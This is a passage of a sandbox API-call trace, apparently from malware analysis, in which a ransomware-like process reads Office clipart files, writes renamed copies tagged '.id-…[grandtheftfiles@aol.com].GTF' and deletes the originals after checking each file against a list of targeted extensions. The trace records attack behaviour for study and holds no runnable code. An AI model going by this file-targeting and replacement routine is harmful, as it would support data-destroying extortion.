	[0180.494] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x2608, lpOverlapped=0x0) returned 1
	[0180.496] WriteFile (in: hFile=0x554, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x2610, lpOverlapped=0x0) returned 1
	[0180.497] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.497] WriteFile (in: hFile=0x554, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.497] SetEndOfFile (hFile=0x554) returned 1
	[0180.497] CloseHandle (hObject=0x554) returned 1
	[0180.497] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.497] SetEndOfFile (hFile=0x504) returned 1
	[0180.502] CloseHandle (hObject=0x504) returned 1
	[0180.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf")) returned 1
	[0180.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68
	[0180.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68
	[0180.503] lstrlenW (lpString=".doc") returned 4
	[0180.503] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.503] lstrlenW (lpString=".docx") returned 5
	[0180.503] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0180.503] lstrlenW (lpString=".pdf") returned 4
	[0180.503] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.504] lstrlenW (lpString=".xls") returned 4
	[0180.504] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.504] lstrlenW (lpString=".xlsx") returned 5
	[0180.504] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0180.504] lstrlenW (lpString=".ppt") returned 4
	[0180.504] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68
	[0180.504] lstrlenW (lpString=".zip") returned 4
	[0180.504] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.504] lstrlenW (lpString=".rar") returned 4
	[0180.504] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.504] lstrlenW (lpString=".bz2") returned 4
	[0180.504] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.504] lstrlenW (lpString=".7z") returned 3
	[0180.504] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68
	[0180.504] lstrlenW (lpString=".dbf") returned 4
	[0180.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68
	[0180.504] lstrlenW (lpString=".1cd") returned 4
	[0180.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68
	[0180.504] lstrlenW (lpString=".jpg") returned 4
	[0180.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68
	[0180.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68
	[0180.504] lstrlenW (lpString=".doc") returned 4
	[0180.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.504] lstrlenW (lpString=".docx") returned 5
	[0180.504] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0180.504] lstrlenW (lpString=".pdf") returned 4
	[0180.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.504] lstrlenW (lpString=".xls") returned 4
	[0180.504] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.505] lstrlenW (lpString=".xlsx") returned 5
	[0180.505] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0180.505] lstrlenW (lpString=".ppt") returned 4
	[0180.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68
	[0180.505] lstrlenW (lpString=".zip") returned 4
	[0180.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.505] lstrlenW (lpString=".rar") returned 4
	[0180.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.505] lstrlenW (lpString=".bz2") returned 4
	[0180.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.505] lstrlenW (lpString=".7z") returned 3
	[0180.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68
	[0180.505] lstrlenW (lpString=".dbf") returned 4
	[0180.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68
	[0180.505] lstrlenW (lpString=".1cd") returned 4
	[0180.505] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68
	[0180.505] lstrlenW (lpString=".jpg") returned 4
	[0180.505] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.505] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0180.505] lstrlenW (lpString="J0178459.JPG") returned 12
	[0180.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0180.506] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=29204) returned 1
	[0180.506] CloseHandle (hObject=0x504) returned 1
	[0180.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg")) returned 0x220
	[0180.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0180.507] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.507] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0180.508] GetLastError () returned 0x0
	[0180.508] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x7214, lpOverlapped=0x0) returned 1
	[0180.524] WriteFile (in: hFile=0x554, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x7220, lpOverlapped=0x0) returned 1
	[0180.526] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.526] WriteFile (in: hFile=0x554, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.526] SetEndOfFile (hFile=0x554) returned 1
	[0180.526] CloseHandle (hObject=0x554) returned 1
	[0180.526] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.526] SetEndOfFile (hFile=0x504) returned 1
	[0180.529] CloseHandle (hObject=0x504) returned 1
	[0180.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg")) returned 1
	[0180.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68
	[0180.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68
	[0180.530] lstrlenW (lpString=".doc") returned 4
	[0180.530] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.531] lstrlenW (lpString=".docx") returned 5
	[0180.531] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0180.531] lstrlenW (lpString=".pdf") returned 4
	[0180.531] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.531] lstrlenW (lpString=".xls") returned 4
	[0180.531] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.531] lstrlenW (lpString=".xlsx") returned 5
	[0180.531] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0180.531] lstrlenW (lpString=".ppt") returned 4
	[0180.531] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68
	[0180.531] lstrlenW (lpString=".zip") returned 4
	[0180.531] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.531] lstrlenW (lpString=".rar") returned 4
	[0180.531] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.531] lstrlenW (lpString=".bz2") returned 4
	[0180.531] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.531] lstrlenW (lpString=".7z") returned 3
	[0180.531] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68
	[0180.531] lstrlenW (lpString=".dbf") returned 4
	[0180.531] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68
	[0180.531] lstrlenW (lpString=".1cd") returned 4
	[0180.531] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68
	[0180.531] lstrlenW (lpString=".jpg") returned 4
	[0180.531] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68
	[0180.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68
	[0180.531] lstrlenW (lpString=".doc") returned 4
	[0180.531] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.531] lstrlenW (lpString=".docx") returned 5
	[0180.531] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0180.532] lstrlenW (lpString=".pdf") returned 4
	[0180.532] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.532] lstrlenW (lpString=".xls") returned 4
	[0180.532] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.532] lstrlenW (lpString=".xlsx") returned 5
	[0180.532] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0180.532] lstrlenW (lpString=".ppt") returned 4
	[0180.532] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68
	[0180.532] lstrlenW (lpString=".zip") returned 4
	[0180.532] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.532] lstrlenW (lpString=".rar") returned 4
	[0180.532] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.532] lstrlenW (lpString=".bz2") returned 4
	[0180.532] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.532] lstrlenW (lpString=".7z") returned 3
	[0180.532] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68
	[0180.532] lstrlenW (lpString=".dbf") returned 4
	[0180.532] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68
	[0180.532] lstrlenW (lpString=".1cd") returned 4
	[0180.532] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68
	[0180.532] lstrlenW (lpString=".jpg") returned 4
	[0180.532] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.532] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0180.532] lstrlenW (lpString="J0178460.JPG") returned 12
	[0180.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0180.533] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=26531) returned 1
	[0180.534] CloseHandle (hObject=0x504) returned 1
	[0180.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg")) returned 0x220
	[0180.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0180.534] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.534] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0180.535] GetLastError () returned 0x0
	[0180.535] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x67a3, lpOverlapped=0x0) returned 1
	[0180.537] WriteFile (in: hFile=0x554, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0180.539] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.539] WriteFile (in: hFile=0x554, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.539] SetEndOfFile (hFile=0x554) returned 1
	[0180.539] CloseHandle (hObject=0x554) returned 1
	[0180.539] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.539] SetEndOfFile (hFile=0x504) returned 1
	[0180.542] CloseHandle (hObject=0x504) returned 1
	[0180.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg")) returned 1
	[0180.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68
	[0180.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68
	[0180.543] lstrlenW (lpString=".doc") returned 4
	[0180.543] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.544] lstrlenW (lpString=".docx") returned 5
	[0180.544] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0180.544] lstrlenW (lpString=".pdf") returned 4
	[0180.544] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.544] lstrlenW (lpString=".xls") returned 4
	[0180.544] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.544] lstrlenW (lpString=".xlsx") returned 5
	[0180.544] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0180.544] lstrlenW (lpString=".ppt") returned 4
	[0180.544] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68
	[0180.544] lstrlenW (lpString=".zip") returned 4
	[0180.544] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.544] lstrlenW (lpString=".rar") returned 4
	[0180.544] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.544] lstrlenW (lpString=".bz2") returned 4
	[0180.544] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.544] lstrlenW (lpString=".7z") returned 3
	[0180.544] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68
	[0180.544] lstrlenW (lpString=".dbf") returned 4
	[0180.544] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68
	[0180.544] lstrlenW (lpString=".1cd") returned 4
	[0180.544] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68
	[0180.544] lstrlenW (lpString=".jpg") returned 4
	[0180.544] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68
	[0180.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68
	[0180.544] lstrlenW (lpString=".doc") returned 4
	[0180.544] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.544] lstrlenW (lpString=".docx") returned 5
	[0180.544] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0180.545] lstrlenW (lpString=".pdf") returned 4
	[0180.545] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.545] lstrlenW (lpString=".xls") returned 4
	[0180.545] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.545] lstrlenW (lpString=".xlsx") returned 5
	[0180.545] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0180.545] lstrlenW (lpString=".ppt") returned 4
	[0180.545] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68
	[0180.545] lstrlenW (lpString=".zip") returned 4
	[0180.545] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.545] lstrlenW (lpString=".rar") returned 4
	[0180.545] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.545] lstrlenW (lpString=".bz2") returned 4
	[0180.545] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.545] lstrlenW (lpString=".7z") returned 3
	[0180.545] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68
	[0180.545] lstrlenW (lpString=".dbf") returned 4
	[0180.545] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68
	[0180.545] lstrlenW (lpString=".1cd") returned 4
	[0180.545] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68
	[0180.545] lstrlenW (lpString=".jpg") returned 4
	[0180.545] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.545] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0180.545] lstrlenW (lpString="J0178523.JPG") returned 12
	[0180.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0180.996] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=24034) returned 1
	[0180.996] CloseHandle (hObject=0x428) returned 1
	[0180.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg")) returned 0x220
	[0181.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0181.692] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.692] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0181.853] GetLastError () returned 0x0
